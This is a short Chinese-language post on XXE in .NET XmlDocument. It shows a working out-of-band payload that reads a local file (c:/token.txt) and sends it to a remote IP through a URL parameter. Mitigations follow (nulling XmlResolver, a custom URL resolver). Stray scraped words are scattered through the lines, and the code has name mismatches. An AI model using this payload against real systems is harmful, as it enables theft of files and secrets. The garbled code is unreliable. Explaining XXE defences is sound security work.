XmlDocument 避免XXE

string xml2 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\" ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"http://182.84.222.228:89/eval.xml\">%remote;]></root>";
服務器

XmlDocument xmlDoc = new XmlDocument();
//xmlDoc.XmlResolver = null;
xmlDoc.LoadXml(xml);ide

Console.WriteLine(xmlDoc.InnerText);函數

上面代碼發起請求,服務器上用下面這個代碼url

<!ENTITY % payload "1111"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://182.84.222.228:89/Get.aspx?p=%payload;'>">%int;%trick;spa

會發現服務器接收到了請求。參數名是 p ,內容是 1111code

若是把前面一個實體類改成讀取系統文件的,危害就比較大了,好比(我只是隨便讀取一個盤符的文件):xml

<!ENTITY % payload SYSTEM "file://c:/token.txt"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://182.84.222.228:89/Get.aspx?p=%payload;'>">%int;%trick;token

==========================資源

 

 

使用 XmlDocument.XmlResolver 屬性提供的XmlResolver 解決外部資源。 若是你的XML文檔不包含任何外部資源( 例如dtd或者模式),只需將這裏屬性設置爲 null:rem

XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; xmlDoc.LoadXml(OurOutputXMLString);

若是但願過濾來自( 。例如僅容許某些域)的url,只需從 XmlUrlResolver 派生本身的類並重寫 ResolveUri() 方法。 你能夠在那裏檢查URL是什麼,並消毒它。

例如:

class CustomUrlResovler : XmlUrlResolver { public override Uri ResolveUri(Uri baseUri, string relativeUri) { Uri uri = new Uri(baseUri, relativeUri); if (IsUnsafeHost(uri.Host)) return null; return base.ResolveUri(baseUri, relativeUri); } private bool IsUnsafeHost(string host) { return false; } }

其中 IsUnsafeHost() 是一個自定義函數,它檢查給定的主機是否容許或者不被容許。 看到這篇文章對於一些想法。 只是從 ResolveUri()保存返回 null 代碼從這種攻擊。 若是容許 URI,你能夠簡單地返回默認的XmlUrlResolver.ResolveUri() 實現。

要使用它:

XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = new CustomUrlResolver(); xmlDoc.LoadXml(OurOutputXMLString);

關於如何解析XML外部資源的更多細節,請閱讀本文 。

相關文章
相關標籤/搜索